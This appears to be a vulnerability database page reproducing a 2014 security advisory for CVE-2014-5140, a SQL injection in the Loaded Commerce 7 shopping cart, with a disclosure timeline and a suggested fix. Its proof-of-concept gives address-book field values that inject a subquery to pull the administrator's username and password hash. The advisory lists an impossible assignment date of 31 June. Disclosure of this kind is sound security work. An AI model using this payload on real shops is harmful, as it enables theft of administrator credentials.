Lucene search
K

Loaded Commerce 7 Shopping Cart SQL Injection

🗓️ 08 Sep 2014 00:00:00Reported by Breaking Technology Research LabsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 46 Views

LoadedCommerce7 vulnerability allows remote SQL injection via query factory

Related
Code
ReporterTitlePublishedViews
Family
0day.today
LoadedCommerce7 - Systemic Query Factory Vulnerability
8 Sep 201400:00
zdt
CVE
CVE-2014-5140
3 Jan 202019:50
cve
Cvelist
CVE-2014-5140
3 Jan 202019:50
cvelist
Exploit DB
LoadedCommerce7 - Systemic Query Factory
7 Sep 201400:00
exploitdb
EUVD
EUVD-2014-5038
7 Oct 202500:30
euvd
exploitpack
LoadedCommerce7 - Systemic Query Factory
7 Sep 201400:00
exploitpack
NVD
CVE-2014-5140
3 Jan 202020:15
nvd
Prion
Sql injection
3 Jan 202020:15
prion
seebug.org
LoadedCommerce7 - Systemic Query Factory Vulnerability
18 Sep 201400:00
seebug
`Title: LoadedCommerce7 Systemic Query Factory Vulnerability  
  
Advisory: http://breaking.technology/advisories/CVE-2014-5140.txt  
  
Credits: Discovered by Breaking Technology Research Labs 2014-06-30  
  
Reference: CVE-2014-5140 - Assigned 31 June 2014  
  
Timeline:  
Vendor notified - 29 July 2014  
Vendor confirmed exploit 30 July 2014  
  
  
Severity: Critical  
Attack Complexity: Minimal  
Classification: SQL injection, unsafe string replacement  
  
Description:  
  
Loaded Commerce 7 shopping cart/online store suffers from a systemic vulnerability in its query factory, allowing attackers to circumvent user input sanitizing to perform remote SQL injection.  
  
Proof of Concept:  
  
Have a valid customer account and create a new contact in your address book using the following values.  
  
  
First name: :entry_lastname,  
Last Name : ,(select user_name from lc_administrators order by id asc limit 1),(select user_password from lc_administrators order by id asc limit 1),3,4,5,6,7,8,9,10)#  
  
The new contact will be added to your address book with the admin hash as the contact's street address  
  
Suggested Fix:  
Sanitize all user input before using it as any part of a query-- specifically remove or encode the colon (:) character before passing it to a query value. A similar fix was issued for tomatocart, available at  
https://github.com/tomatocart/TomatoCart-v1/pull/238  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation